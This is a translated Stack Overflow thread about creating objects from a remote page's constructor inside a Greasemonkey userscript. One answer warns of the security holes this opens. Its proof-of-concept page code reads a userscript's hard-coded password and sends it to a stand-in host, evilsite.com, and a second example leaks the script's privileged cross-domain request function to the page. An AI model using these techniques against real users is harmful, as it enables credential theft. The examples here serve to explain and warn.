簡體   English   中英

如何使用遠程頁面的構造函數在我的Greasemonkey UserScript中創建一個Object?

[英]How do I use constructor of a remote Page to create an Object in my Greasemonkey UserScript?

我的用戶腳本將在其上運行的頁面具有命名空間,命名空間定義了構造函數。 我想使用相同的構造函數創建一個對象,並使用我的用戶腳本中的對象的方法。 到目前為止,我一直沒有成功。 這就是我想要做的。

該頁面包含以下原生javascript塊:

var namespace={ constructor : function(){
   this.sum = function(value1,value2){
   alert(value1+value2);
    }
  }
}

被用作:

var pageObject=new namespace.constructor();
pageObject.sum(1,2);

在My Userscript中,我打算像pageObject一樣創建一個對象,並使用我自己的參數調用sum。

我嘗試過以下操作:

var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);

沒有運氣,雖然出現了greaseNameSpace,甚至greaseNameSpace.constructor也是一個有效的函數,使用new greaseNameSpace.constructor()會產生undefined。

也試過以下:

var greaseObject =new unsafeWindow.namespace.constructor();

再次,greaseObject仍未定義。

我在這里找到一個線程如何創建在遠程頁面中定義的類的對象?

但它使用eval,我想知道這是否正確?

任何和所有的幫助將非常感謝:)謝謝!

我找到了解決問題的方法。 但是要小心使用此方法:當您部分/錯誤地實現此代碼時,您將打開一個潛在的安全漏洞。

下面的代碼獲得了一個window對象,沒有unsafeWindow的模糊限制。 如果它是實際頁面的一部分,那么在此window對象范圍內執行的任何代碼都會表現出來,類似於Google Chrome擴展程序中的內容腳本。

// ==UserScript==
// @name           http://stackoverflow.com/q/4804765
// @namespace      Rob W
// @include        file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
                  .getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
    var obj = new $_WINDOW.namespace.constructor;
    obj.sum(4,5);

}).call($_WINDOW)

安全考慮

  • 在函數中包含使用此window對象的方法/變量的代碼,以便不會創建危險的孔。 不允許此函數包裝器根據用戶輸入執行隨機代碼。
  • 有關實現$_WINDOW的正確方法,請參見示例3

示例/概念證明

下面,我將展示以危險方式實現$_WINDOW對象的可能情況。 很明顯,GM腳本的開發人員並不期望“ //page ”中的代碼。
注意:某些示例(例如示例2)可能對安全(本地)基於Web的應用程序有用(例如,在file:///協議中)。
示例3顯示了使用$_WINDOW的正確方法。

我使用了magic __defineGetter__函數來檢測對變量的調用,因為大多數腳本開發人員都不知道這個功能。 直接調用函數也會觸發有害代碼;

主要原因在arguments.callee.caller 在函數內部,該對象將引用調用當前函數的函數。 使用unsafeWindow ,無法調用arguments.callee.caller變量。 然后該函數將顯示為function SJOWContentBoundary{ [native code]} 但是,當使用$_WINDOW時,遠程頁面可以看到並調用真正的GM功能。

示例1 :從GreaseMonkey腳本中讀取(敏感)數據

//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?

//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
    var gm_function = arguments.callee.caller;
    var password = gm_function.toString().match(/var password = "(.*?)";\n/);
    (new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})

示例2 :將跨域XMLHttpRequest方法泄漏到任意頁面。
此GM腳本的創建者旨在根據哈希更改修改頁面。 但是,通過在更改URL /回調的函數中包括檢查(是否應該影響頁面),創建了一個洞。

//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
    base_url = url;
    callback = func;
    return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
    alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
    window.setInterval(function(){ //Create poller to detect hash changes
        var newHash = unsafeWindow.location.hash.substr(1);
        if(lastHash != newHash){
            GM_xmlhttpRequest({method:"GET",
                          "url": base_url + newHash, onload:callback});
            lastHash = newHash;
        }
    }, 300);
}

//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
    if(!step++){ //Define the xhr first time
        xhr = function(url, callback){
            arguments.callee.caller(url, callback);
              // = function checkExistent(url, callback) !!!!
            location.hash += "."; //Edit hash to trigger XHR
        }
    }
    return step;
});

示例3正確使用
應定義變量getter,以便不能進行任意請求。 函數不應該接受變量。 如果仍然需要,請將getter包裝在匿名函數中。

//GM:
function getUserdata(){
    //Get a string from a page. Wrap the string in a new String object,
    // to make sure that no evil properties/methods are defined
    return String($_WINDOW.variable);
}

//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
    var variable = (function(){ //No arguments, no hazards
        return $_WINDOW[name];
    })();
    return type(variable);
}
getRandomVariable(String, "variable");

//Page:
var variable = "There's no way to abuse this GM bridge.";

嘗試:

var greaseNameSpace = unsafeWindow.namespace.constructor;
var greaseObject = new greaseNameSpace();
greaseObject.sum(1,2);

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM